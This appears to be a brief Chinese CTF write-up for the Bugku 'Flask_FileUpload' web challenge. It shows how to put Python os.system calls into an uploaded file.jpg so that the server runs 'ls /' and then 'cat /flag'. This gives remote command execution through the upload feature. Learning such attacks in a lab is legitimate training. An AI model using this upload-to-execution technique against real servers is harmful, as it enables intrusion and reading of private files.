Bugku-web-Flask_FileUpload

Bugku-web-Flask_FileUpload

查看源代码,提示用python返回结果

在file.jpg中写python代码

复制代码
import os
os.system('ls / ')

上传后查看源代码,找到flag文件夹

修改代码

复制代码
import os
os.system('cat /flag ')
相关推荐
GDAL7 小时前
uv 完整教程:下一代 Python 包管理工具
python·uv
夜郎king8 小时前
湖南高考天气查询:基于 HTML5 与百度天气 API 实现页面展示
前端·html5·百度天气实践·天气信息可视化
曲幽14 小时前
FastAPI 身份验证总踩坑?这份 FastAPI Users “避坑指南”请收好
python·fastapi·web·jwt·oauth2·user·authentication
装不满的克莱因瓶14 小时前
掌握 RNN 与 LSTM 模型结构
人工智能·python·rnn·深度学习·神经网络·ai·lstm
云水一下15 小时前
TypeScript 从零基础到精通(五):高级类型与泛型
前端·javascript·typescript
何以解忧,唯有..15 小时前
Python包管理工具pip:从入门到精通
开发语言·python·pip
counterxing15 小时前
vibe coding 之后,我更不想打字了
前端·agent·ai编程
金銀銅鐵15 小时前
用 Tkinter 实现简单的猜数字游戏
后端·python
copyer_xyf15 小时前
Python 模块与包的导入导出
前端·后端·python
研☆香15 小时前
es6新特性功能介绍(四)
前端·ecmascript·es6